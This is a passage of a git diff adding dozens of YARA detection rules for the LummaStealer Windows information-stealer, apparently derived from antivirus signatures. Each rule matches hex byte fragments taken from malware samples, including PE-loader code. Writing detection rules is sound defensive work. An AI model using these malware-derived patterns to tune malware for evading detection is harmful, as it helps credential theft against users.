05 66 ed ee 0f 66 5f 28 04 66 21 9f 0e 66 a5 3f 0f 66 c2 27 04 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZCK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZCK_MTB.yar new file mode 100644 index 0000000000..d38974d3a4 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZCK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZCK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZCK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {e0 82 3a 18 b3 0f 69 38 e1 82 3a 87 b5 af 5e 19 e0 82 45 04 68 83 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZC_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZC_MTB.yar new file mode 100644 index 0000000000..f17e203f8e --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZC_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZC!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {5d 54 8d 25 99 09 20 36 1b d1 a0 29 4c 3e 6e a2 8c bd 39 3a 14 06 75 f9 8b 82 4f 8f e6 6c cc 5a 92 9f 58 f3 09 38 c6 62 53 43 87 51 f8 aa e4 e2 9b f7 48 e1 b4 c1 da 21 0e 6d 2b 28 a1 bb 93 36 f4 9c ec 11 8d 7e 82 f5 e3 8f e6 fb 58 0a 33 17 14 71 36 82 b3 fc 5b ee 0d 1c d8 45 3a ea 5b 13 8a 01 9c d7 d2 ae db 2e 87 9e 0b 02 85 c1 14 3c 43 db 02 9f 81 7e 60 f4 7b 6b 7f f6 3e 77 b0 d7 d6 80 c5 07 f9 28 5e 84 c0 69 9c a7 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZDK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZDK_MTB.yar new file mode 100644 index 0000000000..13880e3501 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZDK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZDK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZDK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {d9 67 85 d1 9d 06 eb 82 9d 06 eb 82 9d 06 eb 82 4e 74 e8 83 91 06 eb 82 4e 74 ee 83 32 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZD_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZD_MTB.yar new file mode 100644 index 0000000000..e487dc0752 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZD_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZD!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {6b 2c 0d 68 2a 07 0d 4c 8b 67 09 cd 2d e8 4c 2c 27 ac 4c 0d 0b ac c7 67 2b ac 4c 6d c9 08 8a 6c 89 0c e6 8d c8 66 28 2c 8b 0c 29 c8 47 4b aa 86 ab 48 0b 86 ac 68 8a cc 07 ac 0c c7 28 a8 66 67 2b 28 c9 2d e8 aa 8d a9 eb ad e6 ec 4a cb 2d ed 0d 0c a7 ac a7 45 07 aa ac 0d 4c 88 2a 47 ca 09 6b 2d 45 87 69 ab 4e 07 c9 29 cc a7 cb e7 aa 45 ec 6c ea ac 0c a8 45 ea c8 86 8d 08 29 27 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZEK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZEK_MTB.yar new file mode 100644 index 0000000000..b39fc28d58 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZEK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZEK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZEK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {55 09 cb 89 e9 83 c9 fe 31 d9 89 cb 81 f3 14 50 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZE_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZE_MTB.yar new file mode 100644 index 0000000000..d7c92b7be9 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaStealer_ZE_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZE!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {24 34 c1 c3 0c 01 c8 05 4e fd 53 a9 89 04 24 01 eb c1 c2 0a 89 f8 31 d0 21 d8 31 d0 03 6c 24 40 01 e8 05 e9 76 6d 7a c1 c0 05 01 f0 c1 c7 0a 89 d9 31 f9 21 c1 31 f9 8b 6c 24 54 01 ee 01 f1 81 c1 e9 76 6d 7a c1 c1 0f 01 d1 c1 c3 0a 89 c6 31 de 21 ce 31 de 03 54 24 30 01 f2 81 c2 e9 76 6d 7a c1 c2 08 01 fa 03 7c 24 1c c1 c0 0a 89 ce 31 c6 31 d6 01 f7 c1 c7 08 01 df 03 5c 24 34 c1 c1 0a 89 d6 31 ce 31 fe 01 f3 c1 c3 05 01 c3 01 e8 c1 c2 0a 89 fe 31 d6 31 de 01 f0 c1 c0 0c 01 c8 03 4c 24 2c c1 c7 0a 89 de 31 fe 31 c6 01 f1 c1 c1 09 01 d1 03 54 24 24 c1 c3 0a 89 c6 31 de 31 ce 01 f2 c1 c2 0c 01 fa 03 7c } //1 + $a_01_1 = {24 3c c1 c0 0a 89 ce 31 c6 31 d6 01 f7 c1 c7 05 01 df 03 5c 24 38 c1 c1 0a 89 d6 31 ce 31 fe 01 f3 c1 c3 0e 01 c3 03 44 24 40 c1 c2 0a 89 fe 31 d6 31 de 01 f0 c1 c0 06 01 c8 03 4c 24 44 c1 c7 0a 89 de 31 fe 31 c6 01 f1 c1 c1 08 01 d1 03 54 24 48 c1 c3 0a 89 c6 31 de 31 ce 01 f2 8b 34 24 c1 c6 05 8b 6c 24 04 01 ee 89 34 24 8b 74 24 58 01 f5 89 6c 24 04 c1 c2 0d 01 fa 01 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZFK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZFK_MTB.yar new file mode 100644 index 0000000000..c7a89bde2b --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZFK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZFK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZFK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {21 f7 01 ff 29 df 8b 5d ec 09 d7 31 f2 8d 34 3f f7 d6 01 fe 09 d6 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZF_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZF_MTB.yar new file mode 100644 index 0000000000..e6df3b0624 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZF_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZF!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {22 72 9a e0 e8 07 e2 97 33 4f 15 ed 85 87 24 ba 81 aa 59 39 c2 20 d9 81 5f d9 cb f2 95 b4 50 ab 7e 7c 29 3e 55 54 74 e9 9b 64 cb a8 8c 95 38 79 e9 3e 4b 06 c3 ee 14 46 08 c6 0c cb 6b 79 d6 8d 50 5b 45 1f 88 48 c8 62 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZGK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZGK_MTB.yar new file mode 100644 index 0000000000..7b9f3d023f --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZGK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZGK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZGK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {21 fe 89 d5 21 fd 31 d7 01 f7 29 f7 29 f7 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZG_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZG_MTB.yar new file mode 100644 index 0000000000..95729a1b6d --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZG_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZG!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {49 74 da 6d 39 bf eb 69 b8 60 2f 1f 52 90 f4 28 7e 99 53 e0 d8 bc c4 50 2c 7d 84 d5 56 52 f4 42 ce 3c 7c b7 bc 44 c2 7c bb 64 50 90 c9 c0 e7 25 ca 0c a0 f8 ce 83 79 3d 6f f4 18 13 62 2d 37 bc 10 f2 8d 41 0b e1 4a f0 0c 6c 42 d4 73 0f d9 5b 5d f4 4e 6e 7e 6a 1b 13 3c 87 72 7d cb e9 10 88 2f 5a db 81 ac fc 96 7b 56 70 e5 a8 ea c7 3f dd 7f 22 34 6b 48 95 21 c7 d4 fd 4d f6 7e 41 91 4d ca f1 16 5b d3 e2 31 0f 74 6e dc 5e bd 2c 11 17 29 8e 85 f2 1f 34 d9 9e 84 f3 47 2d 19 4b da db 4f c6 a3 5c 87 d3 64 e0 f1 95 99 8e bf 35 86 ff d9 35 c6 96 e1 18 d0 2d 81 4b b0 59 fb c8 d2 0a ab ae 20 9d 58 83 80 2d d6 7f d8 83 da 50 63 b8 df 06 28 4b 2c f4 6d eb ea c3 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZHK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZHK_MTB.yar new file mode 100644 index 0000000000..fc101c05b6 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZHK_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win32_LummaStealer_ZHK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZHK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {55 78 87 b6 9f 54 b7 7d a9 3d } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_ZHK_MTB_2{ + meta: + description = "Trojan:Win32/LummaStealer.ZHK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {66 81 3e 4d 5a 0f 85 67 06 00 00 8b 7e 3c 81 3c 37 50 45 00 00 0f 85 c8 06 00 00 89 74 24 04 01 f7 66 81 7f 04 64 86 0f 85 10 07 00 00 6a 04 68 00 30 00 00 ff 77 50 6a 00 e8 d7 5d 01 00 85 c0 8b 74 24 3c } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZIK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZIK_MTB.yar new file mode 100644 index 0000000000..8f3f39ba6d --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZIK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZIK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZIK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 c7 44 24 28 10 00 00 00 48 89 74 24 20 48 c7 44 24 30 10 00 00 00 b8 ab 90 92 6d } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZI_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZI_MTB.yar new file mode 100644 index 0000000000..adc8ab6393 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZI_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZI!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0d 57 c6 ad 0c 72 de f9 c5 91 52 8f 25 8a 03 67 15 ec 15 f5 d1 76 08 62 93 c4 7f 1a 80 60 f6 7f 34 f4 3a 14 a5 ae 69 b7 8a 2f 82 e1 e2 1f 91 1d ee 7d 22 4d 47 db 17 11 a2 91 04 32 51 a2 6a b0 76 5b 97 49 c5 bc 5e 05 99 18 42 8e 38 a3 55 e1 37 a0 9d a9 fc bd 2b bc 10 77 51 fd 8f ac e5 f4 42 9b 9f ec 69 3c 98 90 24 ae 71 98 c1 2a 55 d6 a7 f9 ae 73 4c bd 73 bb f4 7f 7a ae 58 90 bf 45 33 5c 56 ce 40 a3 80 5d 92 a9 bb 3b 99 39 71 cf bf 44 13 2e 93 f2 5f d3 8d } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZJK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZJK_MTB.yar new file mode 100644 index 0000000000..7bded3ae78 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZJK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZJK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZJK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {2b 28 3b 82 87 c3 08 c6 2e } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZJ_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZJ_MTB.yar new file mode 100644 index 0000000000..3516ba8c02 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZJ_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZJ!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {40 6b 0d 5e 4b 47 ee 08 e3 8f ec a1 4b 76 67 87 ab c1 9c 27 28 b7 54 7a 67 d7 8a 84 e5 e0 fe ef 1c 27 a6 f6 0e 17 47 d6 7a ca 99 91 b2 02 da 81 05 34 3e 68 9d 69 b9 f5 cb f5 7f d2 12 86 a6 67 91 41 a9 4d ec af 6b a9 9b 61 90 fd ac 8e be ad f1 58 bd } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZKK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZKK_MTB.yar new file mode 100644 index 0000000000..bb382ad079 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZKK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZKK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZKK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 ff c6 48 89 7c 24 38 48 89 7c 24 30 c7 44 24 28 05 00 00 00 48 8d 45 0f 48 89 44 24 20 45 8b cc 4c 8d 45 93 33 d2 8b 4d b7 e8 2f d9 ff ff 44 8b f0 85 c0 0f 84 1b 01 00 00 48 89 7c 24 20 4c 8d 4d 97 44 8b c0 48 8d 55 0f 4c 8b 65 e7 49 8b cc ff 15 33 00 01 00 85 c0 0f 84 ee 00 00 00 8b d6 2b 55 bf 03 53 08 89 53 04 44 39 75 97 0f 82 e1 00 00 00 80 7d 8f 0a 75 3e b8 0d 00 00 00 66 89 45 8f 48 89 7c 24 20 4c 8d 4d 97 44 8d 40 f4 48 8d 55 8f 49 8b cc ff 15 ed ff 00 00 85 c0 0f 84 a8 00 00 00 83 7d 97 01 0f 82 a6 00 00 00 ff 43 08 ff 43 04 8b 53 04 48 3b 75 9f 0f 83 93 00 00 00 4c 8b 55 a7 4c 8b 4d ef 8b 4d bb } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZK_MTB.yar new file mode 100644 index 0000000000..e488409634 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {49 39 e7 25 ca 8c f5 b2 45 37 4d f7 95 a6 c3 22 c0 24 0f c9 d0 08 a4 65 f9 a9 bd de 72 84 81 fe 85 cc 7b 61 48 86 a1 0f ad 61 ef b9 21 cd 32 1f c5 b7 e9 a3 4f 86 6b 9d 15 bd 08 d7 be 4f 09 56 23 7f bd 25 9c cf 05 0d e2 2b 8c 1b 55 6e 2a 32 3a a6 d6 f4 44 92 6d 61 47 a4 d2 ca fb 7f 9c dc 5d a1 ce 41 03 b9 a3 ce 1a 56 bd 4d 0a ef a3 64 46 3b cb ac 4c 1c 20 e7 5c a0 68 14 59 33 d9 56 af 48 4e 36 99 a7 09 31 65 73 8a 47 7e 7e b0 97 dd d9 55 26 89 13 49 20 4c da a8 1a 7a d3 c0 26 c9 e9 36 7c 6a 68 e2 f3 f5 04 d8 ec fd 6f 87 0f da 43 3f f7 7c 71 0b c8 27 47 4c f9 a9 c4 0b f5 93 f3 6f d1 05 27 df 5d ae be 3d 6b ac 6a 8e 8c e3 04 a2 9e cb 28 ee 89 d6 2b b6 f1 e3 43 d6 c2 cb b9 89 0d } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZLK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZLK_MTB.yar new file mode 100644 index 0000000000..47e58cab30 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZLK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZLK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZLK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {66 81 3e 4d 5a 0f 85 67 06 00 00 8b 7e 3c 81 3c 37 50 45 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZL_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZL_MTB.yar new file mode 100644 index 0000000000..420c6c685a --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZL_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZL!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {4d 00 6a 00 52 00 6d 00 4f 00 44 00 55 00 30 00 4e 00 6a 00 6b 00 31 00 59 00 57 00 56 00 6c 00 4e 00 6d 00 51 00 33 00 4e 00 47 00 49 00 32 00 5a 00 44 00 46 00 6c 00 5a 00 47 00 51 00 32 00 5a 00 47 00 5a 00 6b 00 59 00 57 00 59 00 30 00 4e 00 54 00 4a 00 6b 00 4d 00 7a 00 52 00 6c 00 4e 00 7a 00 4d 00 7a 00 4d 00 54 00 41 00 34 00 4e 00 54 00 41 00 30 00 4d 00 54 00 41 00 30 00 4f 00 54 00 4a 00 68 00 5a 00 47 00 51 00 7a 00 4e 00 57 00 46 00 69 00 4e 00 54 00 56 00 6b 00 5a 00 44 00 41 00 30 00 4d 00 77 00 3d 00 } //1 MjRmODU0Njk1YWVlNmQ3NGI2ZDFlZGQ2ZGZkYWY0NTJkMzRlNzMzMTA4NTA0MTA0OTJhZGQzNWFiNTVkZDA0Mw= + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZMK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZMK_MTB.yar new file mode 100644 index 0000000000..174861d531 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZMK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZMK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZMK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {42 53 94 d8 6a 4f c4 05 0b c6 d2 e0 af ba a8 2b c5 64 2f 2f c2 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZM_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZM_MTB.yar new file mode 100644 index 0000000000..be96587004 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZM_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZM!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {5d 36 a1 81 19 57 cf d2 19 57 cf d2 19 57 cf d2 0d 3c cc cd 31 25 7c fd 20 d3 cc ad 39 15 7c fd 20 d3 cc bd 30 b5 7c fd 20 d3 cc ed 31 d5 7c fd 23 e9 1b 4d 21 a5 7c fd 21 95 7c ed 27 b5 7c fd 24 b2 2c ad 30 45 7c fd 24 b2 2c bd 31 65 7c fd 24 b2 2c cd 30 85 7c fd 21 95 7c fd 21 85 7c fd 2d 42 2c fd 31 85 7c fd 2d 42 2c dd 31 85 7c fd 25 26 96 36 81 95 7c fd } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZOK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZOK_MTB.yar new file mode 100644 index 0000000000..180a765f1c --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZOK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZOK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZOK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {51 49 52 49 53 49 54 49 55 49 56 49 57 e8 18 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZQK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZQK_MTB.yar new file mode 100644 index 0000000000..ac412f2159 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZQK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaStealer_ZQK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZQK!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {73 72 63 5c 65 78 65 63 75 74 61 62 6c 65 5f 6c 6f 61 64 65 72 2e 72 73 } //1 src\executable_loader.rs + $a_01_1 = {6a 04 68 00 30 00 00 ff 70 50 6a } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZSK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZSK_MTB.yar new file mode 100644 index 0000000000..04e3ec9fa4 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZSK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZSK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZSK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {56 5c 7f 62 3d fe 26 56 28 74 7b 3d 70 62 9f 33 75 e4 0f b6 4c 24 6e 80 7c 24 6f } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZTK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZTK_MTB.yar new file mode 100644 index 0000000000..efa1694067 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZTK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZTK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZTK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {c7 44 24 14 10 d1 d2 d3 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZUK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZUK_MTB.yar new file mode 100644 index 0000000000..9f0407c474 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZUK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZUK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZUK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {1e 01 de 46 21 d6 01 d7 47 01 f6 29 f7 21 d7 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZVK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZVK_MTB.yar new file mode 100644 index 0000000000..4c11b7754d --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZVK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZVK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZVK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {68 71 fa 41 a0 46 f0 da 7d de 6a b3 49 e1 cc } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZWK_MTB.yar 